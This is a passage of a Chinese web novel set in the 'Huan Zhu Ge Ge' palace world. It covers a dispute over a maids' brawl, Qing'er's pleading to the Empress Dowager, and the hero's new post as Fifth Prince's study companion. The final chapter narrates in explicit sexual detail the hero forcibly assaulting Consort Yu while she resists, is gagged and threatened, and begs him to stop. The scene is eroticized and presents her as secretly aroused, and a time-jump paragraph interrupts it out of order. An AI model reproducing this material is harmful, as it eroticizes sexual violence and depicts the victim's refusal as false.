穿越之还珠也风流4[玄幻武侠]
第024章 动手了
听老佛爷动问,那个被尔泰擂了两拳的秋兰就一边啜泣着,一边对着老佛爷哭诉道,“老佛爷,是这样的,今天上午我跟几个姐妹正在御花园里赏花,我不小心撞了令妃娘娘的丫鬟彩霞,之后彩霞就得理不饶人,臭骂了我们一通,最后还叫来了福家二少爷,将我们每个人都打了一通。”
尔泰一听这话,肺子都要被气炸了,他终于明白了什么叫做无耻,什么叫做颠倒黑白,明明是她把彩霞打了一通,此时却把自己说成是受害者,这样的女人,不好好的在身下蹂.躏一顿,她就不知道尔泰的厉害。
“什么?令妃,这就是你的不对了,怎么可以纵容下人对十二阿哥的奶娘行凶呢?”
老佛爷顿时板起脸,不悦的对着令妃质问道。
被老佛爷训斥,令妃顿时有些手足无措,她看着老佛爷,不知该如何辩解。这时尔泰跨前一步,拱拳振声说道,“启禀老佛爷,秋兰乃是颠倒黑白,事实的真相恰好相反,是秋兰冲撞了彩霞在先,其后又人多欺负人少的打了彩霞和冬雪一通,我气不过,才出手相助的。”
“是,老佛爷,当时我跟彩霞在一起,彩霞不小心撞了秋兰,然后秋兰就领着几个丫鬟,打了我和彩霞,我逃脱了,就找的福二爷来救彩霞的。”
尔泰刚说完,冬雪就跪在地上,弱弱的说道。
“你胡说,明明是你们动手打得我们,你竟敢在老佛爷面前狡辩,你看看你把她们打得。”
秋兰指着冬雪破口大骂,随即将那几个被尔泰打得宫女拉到老佛爷面前,说,“老佛爷您看。”
老佛爷转头向那几个宫女看去,只见这些宫女胖头肿脸的,都看不出原来的样子了,这时皇后走到老佛爷身旁,尖刻的说,“老佛爷,这些丫鬟们猖狂惯了,我看都是被令妃宠坏了,若是不惩治一番,以后还不得无法无天了,老佛爷,我作为后宫之主,决不能放任此事不管的。”
“皇后这样说也有道理。”
老佛爷点点头,威严的问,“那依照皇后的意思,应该怎样处理呢?”
见老佛爷同意处理,皇后心中大喜,紧着说,“依照后宫规定,这些行凶的丫鬟们,每人杖责四十,至于令妃娘娘是不是存在着纵容手下行凶的问题,这个还要老佛爷您来决断。”
“嗯。”
老佛爷点点头,说,“那就照皇后的意思来吧,来人啊,把冬雪、彩霞、尔泰拿下,每人杖责四十。”
“是,老佛爷。”
皇后身后的侍卫赛威赛广答应一声,对着老佛爷一抱拳,随即走到冬雪和尔泰身旁,两人作势就要来拿冬雪、尔泰,皇后戏谑的看着令妃,而后对着老佛爷说,“咦,怎么没有看到彩霞呢?不会是令妃心虚,把她藏起来了吧?”
“住手!”
尔泰突然厉声喝道,拦住了赛威赛广两人,随后对着老佛爷说,“回老佛爷,彩霞受了伤,正在房间养伤呢。”
“哼,养伤,她打了人,需要养什么伤?”
皇后傲慢、不屑的说道,不过她身旁的秋兰,却是轻轻的颤抖了一下,脸上浮现出了一许心虚的意味。
“敢问皇后,你凭什么就能断定彩霞是行凶者?”
尔泰也是忍耐不住,不由得提高了语气。
“难道我的五个丫鬟脸上的伤,都是假的吗?”
皇后厉声反问道。
“伤是真的,而且也是我打的,但是秋兰跟你的宫女对彩霞、冬雪先动手在前,我气不过动手在后,明月,你去把彩霞扶出来,让老佛爷看看。”
尔泰对着明月说道,明月嗯了一声,随后看向令妃,见令妃点头,方才快步离开。
不一会儿,明月将彩霞搀扶了出来,其实彩霞身上的伤没那么重,不至于非要被人搀扶,不过明月领会了尔泰话中的意思,既然是演戏嘛,就要把戏码做足。
尔泰指着彩霞脸上的青紫,对着老佛爷说,“老佛爷您看,这是彩霞脸上的伤口,就是被秋兰她们打得,还请老佛爷明断。”
“老佛爷,您千万不能受蒙蔽啊。”
见老佛爷脸上出现了为难的神色,皇后马上说道,“老佛爷,您不能听信尔泰的一面之词就不惩处行凶者了,这样的先例不能开,否则后宫就要乱套了。”
“皇后说的有理,来呀,动手。”
老佛爷坚定了决心,威严的说道。
“慢着。”
尔泰再次制止住赛威赛广,说,“老佛爷,难道您就凭着皇后娘娘的一面之词,就要处理我们吗?”
“大胆,连我的意思,你都要违背了,别说你了,你问问你阿玛福伦,敢不敢违拗我的意思?”
老佛爷拉下脸,不悦的对着尔泰喝道。
“尔泰不敢。”
尔泰鞠躬说,“老佛爷,我们福家上下都对老佛爷尊崇无比,不敢有丝毫的不敬,不过尔泰斗胆说一句,老佛爷如此的处理方式,恐怕不叫人心服口服。”
“反了反了,老佛爷您看看,他们福家仗着令妃的宠信,越来越无法无天了,连老佛爷您,他们都敢指责了,这样的逆子,老佛爷您要是不惩罚,传扬出去,这还得了。”
皇后一副气急败坏的样子,紧着给尔泰上眼药。
老佛爷向来受人尊重惯了,连皇帝都不敢违背她的懿旨,此时尔泰竟敢顶撞她,即使老佛爷有心偏袒尔泰,但碍于众人在此,面子上挂不住,她只能挥挥手,对着赛威赛广说道,“把那福家逆子抓起来,杖责六十!”
“遵命。”
赛威赛广脆生生的应道,随即走到尔泰身旁,一左一右,说了声得罪了,就要架起尔泰的胳膊,尔泰在现代的时候,就是一个牛脾气,以前在公司上班的时候,是一个连领导都敢破口大骂的角色,此时穿越到了还珠的世界中,自然也受不了这个鸟气,他猛地左右挥手,击在了赛威赛广的身上。
诚实的说,尽管尔泰动手了,但是也顾忌着老佛爷在此,因此下手比较留情,仅仅用了七层的力道,若是在平时,这样的攻击,以赛威赛广哥俩的实力,不说很轻松,至少毫不费力的就能抵挡住,而现在,两人竟然像是傻了一般,根本没有丝毫反应的就被尔泰给击了出去。
两人连连后撤,忽然吃力不住,双双摔在了地上。
第025章 晴儿求情
‘嘭嘭!’随着一连两声闷响,赛威赛广二人摔倒在地,在场所有人都是愣住了,就连尔泰自己,也是愣住了,如果不是赛威赛广两人没有表现出假装的痕迹,尔泰都要怀疑他二人是在故意演戏。
可是他们两人又何曾能想到尔泰竟敢在老佛爷面前突然动手,又怎能会在短短的不足一秒钟的时间内做出故意摔倒的动作,来陷害尔泰呢?唯有一种解释,就是尔泰的实力,在这二人之上太多,以至于这二人根本就抵挡不住尔泰一招。
不过赛威赛广都是皇家侍卫里的佼佼者,据说两人的身手都不在御前侍卫尔康之下,又怎能连尔泰的一招都抵挡不住?难道,是尔泰的身手突飞猛进了?尔泰自己也是一头雾水,想着那天晚上跟五阿哥交手,尔泰还是在高远高达六人的合力之下,才在五阿哥的身上讨了一点便宜,可今天竟然一招,就把两位高手同时击了出去。
不得不说,这太过颠覆了!
“反了反了,真要造反了,老佛爷您看,尔泰他竟然这样猖狂,这还是在您的面前,他竟然对两名侍卫动手,您说,她到底还将不将您放在眼中?还是他认为他的主子,比您还要厉害呢?”
皇后又开始喋喋不休的上眼药。
“皇后娘娘。”
还未待老佛爷说话,一直未开口的令妃突然说话了,“请问皇后娘娘,您口中的尔泰背后的主子,是谁呢?”
“这还用问,令妃你心中有数。”
皇后‘哼’了一声,生气的说道。
“皇后娘娘这话很中肯,我想不仅是我有数,想必在场的所有人都有数吧,尔康和尔泰,都是御前侍卫,他们背后的主子是谁,皇后娘娘应该也很有数吧。”
令妃脸上挂着亲和力的笑容。
尔泰不禁偷偷的在心中竖起了大拇指,既然是御前侍卫的身份,那么背后的主子,自然就是皇帝了。
“你——”
皇后顿时涨红了脸,不知该说什么了。
老佛爷开口道,“这个主子的问题就不要争论了,就是论事,尔泰在我面前对侍卫动手,却是不争的事实,既然动手了,自然要受到惩处。来人,将尔泰交由宗人府审讯。”
听老佛爷发话了,老佛爷身后的四名侍卫领命上前,对着尔泰一拱拳,道声得罪,作势就要拿下尔泰,对于这四名侍卫,尔泰就是闭上眼睛都能将他们击飞,但是他不敢,因为这四人与赛威赛广不同,他们确确实实是代表了老佛爷。
尔泰叹口气,任由着四人架住自己的胳膊,令妃、明月、彩霞、冬雪四人皆担忧的看向他,皇后等人的脸上却是得意的嘲讽,这时老佛爷又说道,“将行凶的冬雪、彩霞拿下,杖责四十。”
“老佛爷,请您三思。”
令妃跨前一步,对着老佛爷施礼恳求道,对于下人,令妃一向是很爱护的。
“哼。”
老佛爷侧过头,不去看令妃,皇后和容嬷嬷等人,则是小人得志的撇着令妃。
尔泰含恨的看了眼皇后等人,在心中暗暗发誓,等这事一过,定要把她们摁在身下,好好地蹂躏一通,叫她们当自己的奴隶。
不过此时,他是心有余而力不足,老佛爷的指令,他是无论如何都抗争不了。尔泰被押着,向令妃寝宫外走去,彩霞和冬雪二人,也被人按在了长条凳上,两名手持棍棒的太监扬起了手中的棍棒。
这时,尔泰路过晴儿的身边,随意的看了晴儿一眼,晴儿涨红着脸,抱着老佛爷的胳膊,轻轻的晃着,嗲嗲的说,“老佛爷,能不能听晴儿说一句啊。”
晴儿话音刚落,皇后等人顿时紧张起来,她们都知道老佛爷平日最宠爱晴儿了,几乎可以说是百依百顺的。皇后不阴不阳的说,“晴格格有话,可以等惩罚完了这两个丫鬟之后再说。”
“那可不行,晴儿要说的话,就是跟这两个丫鬟还有尔泰有关,必须要现在说,好不好嘛老佛爷,你最疼晴儿了。”
晴儿没有理会皇后生气的神情,自顾摇晃着老佛爷的胳膊。
“晴儿不要闹。”
老佛爷温柔的对着晴儿说道,语气中略略有些严厉。
晴儿顿时就嘟起好看的红唇,装出不悦的说,“哼,老佛爷,你现在都不疼晴儿了,哎。”
“你看看你,我哪有不疼晴儿啊,只是这事是一码归一码,她们犯了错,我不惩罚她们,这以后还怎么管理后宫呢?”
老佛爷哄着晴儿。
“老佛爷,您想啊,这才多大点事啊,咱们皇宫这么大,哪天没有个磕磕碰碰的呀,您要是都管,管的过来吗?再说了,你看冬雪和彩霞的身上也有伤啊,不能就因为她们受伤的程度清点,或是受伤的人数少点,就断定她们是行凶者对吧。您看呀,皇后那边的人受伤了六个,而令妃这边伤了两个,两个人把六个人打伤了,您觉得是这两个人太厉害,还是那六个人太笨呢?”
晴儿嗲声嗲气的说道。
“这——”
老佛爷便看向晴儿,征询的问道,“那依晴儿的意思是?”
“嘻嘻,老佛爷,这依晴儿看呀,两方都有错,您若是只惩罚一方,另一方肯定会不服,老佛爷您也不想落下偏袒的话柄吧,老佛爷,其实晴儿知道,您是典型的菩萨心肠,你看这两个宫女娇娇弱弱的,真要是四十杖责打下去,还不要出任命啊。”
“嗯,晴儿说的也有道理。”
老佛爷点点头,拍拍晴儿的手背,说,“我们的晴儿啊,就是这么善良的。”
“嘻嘻,那还不是老佛爷您疼我呀。”
晴儿笑嘻嘻的,将秀气的小脑袋靠在了老佛爷的肩膀上,那娇媚的神态,看的尔泰的心都要化了,丫儿的,这才是美女啊!
“老佛爷,您可不能心软啊,即便是这两个宫女不惩罚,尔泰他当着您的面对侍卫们动手,您可是瞧得清清楚楚的,若是不惩罚,这也太说不过去了吧。”
皇后不依不饶的说道。
“是啊,老佛爷,这福家兄弟,仗着——总是不把我们这些宫女、侍卫们放在眼中,当着您的面都敢对侍卫动手,那要是背着您,还不得把我们都打死了啊。”
容嬷嬷借机气急败坏的说道。
“既然这样,这两个宫女就放了吧,不过尔泰,那是一定要惩罚的,看在晴儿的面子上,就不必去宗人府领罚了,赏他六十杖责,教训一下让他知错就行了。”
老佛爷疲倦的挥挥手,作势就要转身离去。
皇后和容嬷嬷对视一眼,皆从彼此的眼神中看出了一丝鄙夷的冷笑,她们最终的目的本就是在令妃身上,打了福尔泰,自然就是再打令妃的脸面。
不过晴儿就偏偏不叫皇后她们得逞,在太后的耳边,娇滴滴的提醒道,“老佛爷,您别忘记了,福家福大人可是皇上身边的左膀右臂,咱们不看僧面也要看佛面是不是?再说了,过个五天,您不是还要带着娘娘们一起去西山礼佛吗,到时候尔泰是要护卫的呀,您打了他,他少说也要休息个十天半个月才能下床,到时候还怎么护卫呀。”
“这倒也是。”
老佛爷点了点头,沉思起来。
第026章 愉妃娘娘有请
见老佛爷听了晴儿的求情,有心放过福尔泰,皇后顿时着急了,上前一步,说,“老佛爷,您不能就这样放过福尔泰,他再是福家的公子,但是毫无理由的殴打下人,也是不能轻易饶恕的。”
“哦,毫无理由?”
晴儿眨巴着漂亮的眸子,扑闪扑闪的,笑嘻嘻的反问道,“皇后娘娘你怎么知道尔泰他是无缘无故的殴打下人的,请问当时您在场吗?”
“我——”
皇后顿时语塞,一张脸憋得通红。
“皇后娘娘既然没有在场,那又怎知道尔泰是无缘无故的殴打下人?”
晴儿虽然面容谦和,但却是长了一副伶牙俐齿,步步紧逼,“皇后娘娘,你的宫女说是令妃娘娘的宫女先动的手,而令妃娘娘的宫女却说是你的宫女先动的手,既然在场没有证人,怎能就按照您的意思去惩罚令妃娘娘的宫女和尔泰呢?”
“这——老佛爷,我——”
皇后着急的还想再说什么,晴儿打断了她,娇滴滴的摇晃着老佛爷的胳膊,嗲嗲的说,“老佛爷,这样的是就是家务事,都是公说公有理,婆说婆有理,不能凭着一面之词就决断的。”
“那依晴格格的意思,这事就这样算了?福二爷打人的事情,就不处理了?”
容嬷嬷上前助拳道,一副欠扁的模样。
“呵呵,我可没说这件事就这样算了,真要是算了,我想开心的应该会是你们把,我可是听到了一些传言,都说皇后娘娘的人仗着皇后娘娘的宠信,对其他宫的宫女、太监们颐指气使呀。”
晴儿脸上挂着笑容,嘴巴却是愈发的凌厉起来。
“老佛爷,没有的事,绝对不可能,我一向是严格要求下人的,这一点,容嬷嬷可以作证,是不是啊,容嬷嬷。”
皇后鸡头白脸的辩解道。
“是,老佛爷,皇后娘娘向来对我们是严格要求的,这样才导致了我们经常被人家欺负。”
容嬷嬷装出一副可怜兮兮的样子说道。
“哦,是吗?”
晴儿挑起眉头,反问道,“如果今天发生的事情,我可以作证,是皇后娘娘的宫女秋兰先对令妃娘娘的婢女彩霞动手的话,不知皇后娘娘要怎样处理秋兰呢?说来也巧了,今天老佛爷刚好要吃我亲手做的桂花糕,我去御膳房给老佛爷做好了,回来的路上,刚巧看到了今天的这一幕。”
“你——我——”
皇后和容嬷嬷对视一眼,哑口无言。
这时老佛爷说道,“好了晴儿,大家都不要再说了,既然大家都有错,那就各打五十大板吧,令妃啊,皇后啊,你们都是我的媳妇,都叫我一声额娘,我希望你们能和睦相处,不要叫宫外的人,看了笑话,今天的事情,就到此为止吧,你们各自回去惩罚你们的下人吧,晴儿,我们走。”
说完,老佛爷就转过身,被晴儿搀扶着离去了,路过尔泰身旁的身后,晴儿笑嘻嘻的对着尔泰连连眨眼,尔泰就冲着她抱抱拳,用唇语感激的说,“多谢了晴儿。”
见老佛爷离开了,这事也就不了了之了,皇后和容嬷嬷气愤的冷冷的瞪了令妃和福尔泰一眼,随即一甩袖子,转身离开了。
路上,老佛爷问,“晴儿,今天的事情,你真的看到了?”
“回老佛爷,晴儿不敢骗你,晴儿没有看到,那样说,只是为了宫中的安宁罢了。”
晴儿实话实说。
“为了宫中的安宁?什么意思?”
老佛爷问道。
晴儿就笑着说,“其实啊,这一切老佛爷您心里最清楚了,要不然您也不可能因为晴儿求情,就放了尔泰,呵呵。”
“呵呵,人小鬼大。”
老佛爷欣赏的看着晴儿,抬起手在她鼻梁上刮了一下,说,“皇后人还是不错的,就是性子刚烈了些,不会其他女人的温婉,不然也不会得不到皇上的宠信了,反观那令妃,就比较讨皇帝喜欢,都是宫里的妃子,难免会因为得不到皇帝的宠爱而对受宠爱的妃子妒忌。但皇后是我捧起来的,我就不能不扶持她,不然得不到皇帝宠爱的皇后在这后宫中,就会毫无威信可言。”
“嗯,老佛爷我理解您,你也有您的难处。”
晴儿就乖巧的说道。
“呵呵,晴儿你真是上天赐给我的最好的礼物,跟我说实话,你是不是看上那尔泰了?”
“哪有啊,老佛爷,您别乱说嘛。”
“这有什么的,男大当婚女大当嫁的,再说了,这福家的两个少爷都是那么的优秀,只是不知道在我们晴儿的心目中,最中意的是哪一个。”
“什么嘛,老佛爷,人家才没有那个想法呢 ,人家就想一辈子陪着老佛爷您。”
“这孩子——”
令妃寝宫,老佛爷、皇后等人离开之后,令妃的神情变得严肃了起来,对着太监、丫鬟、侍卫们说道,“以后见了皇后的人,尽量躲着点走,这次你们是侥幸,有晴儿求情,若是还有下次,连我也帮不上你们。”
令妃这话说的很清楚了,老佛爷她是向着皇后的。
众人一齐点头,随着令妃挥挥手,众人离开了,令妃叫过尔泰,眼中闪出一抹关心的神色,说,“尔泰,你也是的,这么大的人了,还跟小时候似的那么冲动,你也听晴儿说了,五天后后宫的几个娘娘会跟着老佛爷去西山寺礼佛,到时候你好好地筹划一番,千万不要有什么差错才好。”
“是,娘娘。”
尔泰恭敬的拱拳,随后抬起头看向令妃,月光下,美丽的令妃是动人的,尤其是他今天替尔泰开脱,令尔泰的心中泛起了一丝甜蜜,姨娘越是对他好,他就越想得到姨娘,不仅要得到姨娘的人,还要得到姨娘的心。
自然,还有那可爱娇美的晴儿,尔泰暗暗发誓,绝不会让晴儿喜欢上尔康。
第二天一早,无聊的尔泰正在院子中练拳,愉妃娘娘的贴身丫鬟小莲就碎步走到尔泰身旁,道个万福,说,“福二少,愉妃娘娘请您去愉妃宫。”
第027-028章 与愉妃云雨
“愉妃请我?”
尔泰在心中打个问号,虽说自己跟五阿哥关系自幼就不错,但对于五阿哥的生母愉妃却是敬而远之,原因无他,那娘们在皇帝的妃子中,属于最严肃的那一种,天天在脸上挂着严肃的神情。
真不明白愉妃为何会突然心血来潮的邀请自己,不过愉妃既然请了,尔泰自然不会耽搁太长时间的,收了拳势,就笑着对小莲说,“嗯,走吧。”
小莲就点点头,半弯着腰,小碎步快步在前领路,不一会儿就到了愉妃娘娘的寝宫,小莲上前,说,“娘娘,福二爷来了。”
“嗯。”
愉妃半卧在坐床上,右臂撑着额头,双腿蜷曲着,一双穿着白布的小脚丫安静的排放在坐床上。
见尔泰进来,愉妃睁开半眯的双眸,斜着眼撇着尔泰,说,“来人,给尔泰赐坐。”
丫鬟搬来了凳子,尔泰忙即拱拳称谢,随即大马金刀的一坐,眼睛直直的盯着愉妃,却说这愉妃长得还算是标致,年龄约莫在四十二三上下,不过看起来也就三十七八年岁,肌肤白晰,体态丰腴,嘴唇上涂着淡粉色的唇彩,将美好的面容映衬的性感动人。
愉妃面无表情的看着尔泰,说,“尔泰啊,今天叫你过来,是想要跟你商量一下,我知道你晚上要在令妃宫护卫,不知你白天有没有时间?”
尔泰忙说,“愉妃娘娘有命,尔泰无不遵从。”
“呵呵,这就好,你从小就跟五阿哥关系不错,最近五阿哥年岁长了,人却是越来越浮躁了,不知道你肯不肯过来,当五阿哥的伴读?”
愉妃常年严肃的脸庞上,硬挤出了一丝笑容。
对于男人来说,漂亮女人的笑容是很有杀伤力的,而长相美丽,常年表情严肃的美女,偶尔绽放的笑容,哪怕只有惊鸿一瞥,对于男人而言,杀伤力却也是力道十足。
此时的尔泰就是这样,他被愉妃的笑容打动了,愉妃的笑,就像是数九寒冬中的梅花,娇艳且冷傲,让他的心跳没由来的加速了。
尔泰几乎是想都没有想,就大脑不受控制的应承了下来。不过在当了五阿哥的伴读之后,他才知道,下半身思考的男人,往往是要遭罪的。
“喂,尔泰,没人愿意来当我的伴读,你倒可好,呵呵。”
五阿哥的书房里,一个带着眼镜、花白头发的老先生在尔泰和五阿哥面前来回踱步,摇头晃脑的念叨着古诗。
“你当我愿意来,还不是你额娘叫我来的。”
尔泰对着五阿哥比出中指,也不知道这个古代的傻鸟,了不了这个动作的含义。
五阿哥就贼贼的一笑,说,“先别说这个了,那天给你的书,好不好看?”
“比这个破诗经好看多了。”
尔泰抱怨的说,他是现代人穿越过来的,最怕的就是他娘的古文,尽管他大学是学的古汉语文学专业。
“靠,不是吧,那么好看的书,你竟然拿它跟诗经作比较,你还是不是个男人啊?”
五阿哥听尔泰对至尊合欢经的评价如此之低,不由得对他猛翻着白眼。
“嘿嘿,低调低调。”
尔泰就笑嘻嘻的,给了五阿哥一个‘你懂得’的表情。
一连三天,上午尔泰就跟着五阿哥在书房里听老先生讲学,下午就瞒过愉妃娘娘,偷偷的研究着至尊合欢经,不过令尔泰感觉到奇怪的是,每次看到那些个男男女女搂抱在一起的图片,尔泰都能从男人的武器和女人的武器那里看到两个截然不同颜色的怪异点点,他就问五阿哥,后者却是摇头骂尔泰神经,说自己怎么什么都没有看到。
尔泰想这就奇了怪了,丫儿的都是男人,五阿哥咋就只看到了现象,而自己却是看到了本质呢?难不成,自己是传说中的‘淫魔’转世?
夜晚七八点钟,此时是初秋,太阳落山的早,皓月高悬,夜风吹在身上,有了些凉气。尔泰紧了紧衣领,从五阿哥的宅院出来,走出拱门,沿着小路前行,很快就到了愉妃念经的那佛堂,此时的佛堂的窗户上摇曳着点点的烛火,里面袅袅的飘出一道道佛语。
尔泰知道,是五阿哥的额娘愉妃娘娘在念经了,她是这皇宫里,除了老佛爷之外的,最信佛的了,每天晚上七八点钟,她都会屏退左右,独自在这佛堂中念经静坐,直到凌晨。
没由来的,尔泰的心砰砰的直跳了,他突然很想推门进去,看看平日神情严肃的愉妃,安静念经时的样子,是何等的动人?
四下无人,尔泰就跃上佛堂的台阶,悄悄的,轻手轻脚的摸到了窗户下,含着食指润了润,就戳破了窗户纸,右眼凑上去,向着佛堂里打量着。
透过窟窿眼,尔泰看到了正在打坐的愉妃,只见愉妃背对着尔泰,正盘腿坐在蒲团上,一手持着经书,另一手在敲击着木鱼,因为愉妃体态丰腴的关系,此时她又坐在蒲团上,那浑圆挺翘的雪臀,此时便即显得愈发的丰满迷人。
尔泰不禁看得有些呆了,当他看到了愉妃玲珑清秀的耳垂上摇曳着的两颗珍珠耳环时,他心中顿时火烧火燎的了,那个耳环正是去年愉妃生日的时候,自己送给她的寿礼。
这时,一道道佛语从愉妃的口中飘出,飘飘荡荡的传到了尔泰的耳朵里,接下来,这些平日来听着悦耳的音符,在飘入了尔泰的耳朵中之后,突然如同平地炸雷般,在他的脑海中轰鸣作响。
转瞬间,尔泰的脑海就是一片空白了,那声音持续爆响,似是要将尔泰的脑壳穿爆,与此同时,沉寂了几天的那缕怪异的气流,又从尔泰的脑海中生出,沿着他的奇经八脉,在汩汩的流淌着,每流过一个脉络,一个穴道,尔泰就感觉到那个地方火.热,躁动的要命,最后,他浑身各处,无不如同充斥在一片火海之中。
他无法控制的,也是下意识的,悄悄的打开了愉妃佛堂的门,随后将门关上,插紧了门闩,之后快步向着正在念经的愉妃走去。
此时的愉妃神情很投入,没有发现房间中有第二个人存在,再说她平日来早就习以为常了,丫鬟下人们都知道她的脾气,绝不会在这时候进来打扰她的,因此她依然在念着佛经。
眼见愉妃没有觉察到自己的进入,尔泰便即大喜过望,他快步冲向愉妃,突然在愉妃的后面半跪着身子,而后伸展开手臂,从背后将愉妃搂在怀中,同时脑袋也贴在了愉妃的脸颊上,厚厚的嘴唇对着愉妃的耳朵上吻去。
突然感到被人强力搂抱住,正在念经的愉妃的身子猛地一抖,随即侧透过,双眸瞪大,吃惊的看着正在她耳朵上亲吻的尔泰,用力的挣扎着,大声的喊,“尔泰,你疯了,你要干什么,快放开本宫,来人,救——”
听愉妃呼喊,尔泰的一只大手猛地捂住了愉妃的嘴唇,愉妃费力的挣脱着,嘴巴却被牢牢的捂住,只能发出呜呜的声音,因了愉妃往日的习惯,此时的丫鬟们都在远远的地方候着,愉妃刚刚的呼喊,丫鬟下人们并没有听到。
“呜呜。”
愉妃不停地挣扎着,扭动着身子,但尔泰怕她逃脱,便紧紧的搂着她,随着愉妃的挣扎,她丰满的身子便磨蹭着尔泰年轻精壮的身躯,这令得尔泰身体中的邪火愈发的狂暴了起来。
“愉妃娘娘,我喜欢你很久了,我想要得到你,很想很想。”
尔泰看着愉妃恐慌的眸子,突然说道。
“嗯,呜呜——”
愉妃的眼中现出哀求的目光,用力的挣脱着尔泰,不过此时尔泰像是犯了邪一般,愉妃越是苦苦哀求,他便是越冲动,心中的欲火强横到快要将他吞噬了。
尔泰将愉妃越搂越紧,那只手没敢放开愉妃的嘴唇,一张嘴在愉妃的脸颊上、脖子上、耳朵上乱吻着,同时另一只手,在愉妃的全身各处摩挲着。
愉妃的脸上流淌出了屈辱的泪水,不过她久未被皇帝碰了,身子空落落的,此时被尔泰年轻的、强有力的大手摩挲着,身子自然就是有了超强烈的反应,很快就涨潮了,瘫软了下来。
但是羞耻心和理智告诉她,自己一定要挣扎,决不能让尔泰得逞,她用力的左右摇晃着脑袋,躲闪着尔泰的嘴唇,同时身子也是左右乱晃着,不让尔泰碰到她的重要重要部位。
不料她越是反抗,尔泰心中的激烈的冲动就越是强横,他猛地将愉妃扑倒在地,一边狂吻着愉妃,一边用力撕扯着愉妃的衣服,在一连串‘呲呲’的脆响声中,尔泰将愉妃的外衣撕扯的七零八落,半隐半现的露出了里面的淡粉色绣花小肚兜和乳白色的底裤。
眼见自己的身子半裸在尔泰的面前,愉妃羞愧的恨不得自杀,古代的女子都很保守的,被三从四德洗脑了,只要被除了丈夫之外的男人触碰,内心深处都会觉得自己失去了贞节。
“尔泰,本宫求你了,求你放过本宫好吗?本宫是五阿哥的母额娘啊,你不能这样,求求你,快放开本宫。”
愉妃疯狂的扭动着身躯躲闪着,眼中的泪水烁烁的流淌着,屈辱的她哀求的看着尔泰,呜呜的求他住手,不过愉妃越是梨花带雨的惹人怜爱,尔泰就越想进入她的身体,好好地蹂躏她一通。
尔泰撕开了愉妃胸前的束缚,将那淡粉色的小肚兜用牙咬碎,随即一口对着葡萄架咬去,含住了一颗诱人垂涎的乳头,美美的吮吸起来。
“嗯,呜呜呜!”
愉妃被尔泰捂住的嘴巴里吐露出含糊不清的语言,眼眶中的泪花越来越多,同时在尔泰的亲吻下,她白晰的身子也是不受控制的战栗着,颤抖着。
尔泰愈发的狂暴,心中的火直接是燃烧到了他的脑海,他此时一片空白了,唯一的想法就是将这个久未被皇帝触碰的,也是他好兄弟五阿哥的额娘,美美的奉养一通。
“愉妃娘娘,我现在放开你的嘴唇,不过你要是敢叫嚷,我就这样抱着你出去,在皇宫里走一圈。”
尔泰恶狠狠的在愉妃的耳边说道,连他自己也是被他凶恶的语气给吓了一跳。
愉妃骇然的看着猩红了双眼的尔泰,她知道此时的尔泰一定是说得出做得到,害怕的啜泣着,羞耻心令她恨不得当场自刎,不过此时她被尔泰控制着,任何动作都不受自己支配了,同时身体中的强烈反应也是摧毁了她的神智,让她迷乱不清了。
“尔泰不要,我们不能的,本宫是妃子啊,我还是五阿哥的额娘啊,你不能这样对本宫。”
愉妃苦苦的哀求道。
她的话尔泰听在耳朵里,当听到愉妃说她是妃子的时候,尔泰感觉这话如一根针一般的扎在他的耳朵里,可当听到她说自己是五阿哥额娘的时候,尔泰的心头猛然一荡,一股异样的情愫,直接操控了他的大脑。
他突然冲动到不能自持,一只手下流的放到了愉妃的胸部,用力的捏着愉妃的大奶子,同时另一只手飞快的撕扯着愉妃的裤裙,在一连串的‘呲呲’的脆响声中,尔泰将愉妃的裤裙扯了下来,随后那只手隔着一条薄薄的乳白色底裤抚摸着愉妃的蜜穴。
感受到下身一凉,愉妃就知道自己已经落入‘敌手’,尔泰亲吻着愉妃,把火热的呼吸喷到愉妃白晰的脖颈上,舌头伸出,疯狂的舔舐着愉妃白晰的脖颈,右手两根手指按在了她的穴缝上,就算是隔着一层无缝的丝质底裤,仍旧能感受到那里所散发出的热量。
“啊……尔泰……不要……不要摸那里……我们不行的……求你了……不要……啊……”
愉妃疯狂的扭动着丰满诱人的身子,躲闪着尔泰双手的侵袭。
“愉妃娘娘,我要你,我现在就要你……”
听着往昔严厉的愉妃在自己的身下哀求,尔泰心中涌出一许自豪感,同时冲动愈发的强横,让他情不自禁的,在抚摸了一阵愉妃的蜜穴之后,就撕扯着将愉妃的底裤扯了下来,刚刚触碰到浓密的阴毛,烫热的肉唇就像有灵性般的向两边自动分开了,中间的小肉孔产生了强大的吸力,尔泰抵挡不住那种诱惑,顾不得慢慢的玩弄了,一下儿就把手指插入了美人的蜜穴内搅动起来。
几个时辰后,夜已深了,尔泰拥着愉妃躺在佛堂里间休憩室的床榻上,连他自己也都是奇怪的紧,自己跟愉妃的这一次动作,竟然足足持续了一个半时辰,愉妃都记不得自己飞上天之后,在云层飘荡了多久,到得最后,她竟然是舒爽的昏了过去。
“嗯……嗯……嗯……”
愉妃为了防止自己叫出声,急忙用自己的小手堵住了红唇,她知道自己跟尔泰不合适,可越是不合适,她得到的快感就越强,何况她已经将近十年没有被男人碰过了,每日独守空闺的寂寞只有尝试过的女人才能明白。
尔泰的手指和愉妃的蜜穴内的穴肉搅动在一起,又有爱意的滋润,仅是小幅度的活动,就会产生‘咕叽咕叽’的水声,何况尔泰是在大力搅动着,愉妃就控制不住的大声的呻吟了起来。
“啊……好舒服……啊……尔泰……不要再弄了……快住手……啊……我受不了了……啊……不要弄了……嗯嗯嗯……”
愉妃想把颤抖的双腿夹紧,但却是总不能保持住,变成了用蜜穴中弹性十足的肌肉主动夹放侵入体内的手指。
尔泰慢慢的抽出了放在愉妃蜜穴中的手指,上面沾满了浪水,随着尔泰的动作,与愉妃的蜜穴间连成了一条细线,尔泰抬起那根沾满着愉妃浪水的手指,放到愉妃的脸前,邪笑着说,“愉妃娘娘你看你都这么动情了,还说不要,哈哈。”
见尔泰识破了自己的秘密,愉妃顿时满面通红,她扭过头不去看尔泰,身体中兀然升腾起的情动却是将她再次出卖了,只见她浑身泛着潮红之色,诱人的身体微微起伏,被尔泰挑逗过的蜜穴的两个鲜红的花瓣在微微开合,像是呼吸一般。
尔泰随即低下头,目光灼热的看着愉妃半遮半掩的蜜穴,越看心越热,越看越冲动,坏笑着说,“娘娘,把腿封开一点,听话,快点。”
“啊……啊啊啊……不行啊……求求你尔泰……不要啊……”
愉妃的双腿有些不停使唤了,她控制不住自己身体中蔓延而开的电流,浑身燥热无比,几乎是麻木的就被尔泰分开了自己的双腿。
